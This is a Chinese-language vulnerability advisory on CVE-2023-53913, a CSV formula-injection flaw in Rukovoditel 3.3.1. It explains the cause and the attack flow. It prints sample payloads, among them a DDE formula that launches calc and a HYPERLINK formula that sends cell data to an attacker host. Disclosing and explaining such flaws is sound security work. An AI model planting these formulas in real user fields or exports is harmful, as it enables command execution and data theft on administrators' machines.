CVE-2023-53913CVE-2023-53913是Rukovoditel 3.3.1版本中存在的一个高危CSV注入漏洞。该漏洞允许已认证的低权限用户在firstname(名字)字段中注入恶意公式或命令。当具有更高权限的管理员将包含恶意数据的用户账户信息导出为CSV文件时,攻击者注入的公式将被Excel、WPS等电子表格软件执行,从而可能导致远程代码执行(RCE)风险。攻击者利用CSV文件格式的特性,通过在单元格中插入以等号(=)开头的公式,可以触发应用程序的公式解析功能。在某些情况下,攻击者可以使用特定格式的公式如'=calc|a!z|'来尝试执行系统命令或调用外部程序。此漏洞的CVSS评分为8.8,属于高危级别,对系统机密性、完整性和可用性均造成严重影响。由于攻击利用的是CSV导出功能,而导出操作通常是管理员的常规管理行为,因此该漏洞具有较高的隐蔽性和实际危害性。
该漏洞的根本原因在于Rukovoditel应用在处理用户输入时未对firstname字段进行充分的输入验证和输出编码。当应用将用户数据导出为CSV格式时,直接将用户输入的原始数据写入CSV文件,而CSV格式支持以等号(=)开头的公式表达式。攻击流程如下:首先,攻击者以低权限用户身份登录Rukovoditel系统;然后,在个人资料设置中将firstname字段修改为恶意公式,如'=calc|a!z|'或'=HYPERLINK("http://attacker.com/steal?data="&A1)';接着,当管理员进入用户管理模块并执行批量导出功能时,系统会将所有用户信息导出为CSV文件;最后,管理员在本地使用Excel或WPS打开该CSV文件时,文件中的恶意公式会被自动执行。对于旧版Excel,公式可能被用于DDE(动态数据交换)攻击;对于新版Excel,特定格式的公式仍可能用于信息窃取或进一步攻击。攻击者可以通过精心构造的公式实现命令执行、数据外传或钓鱼攻击。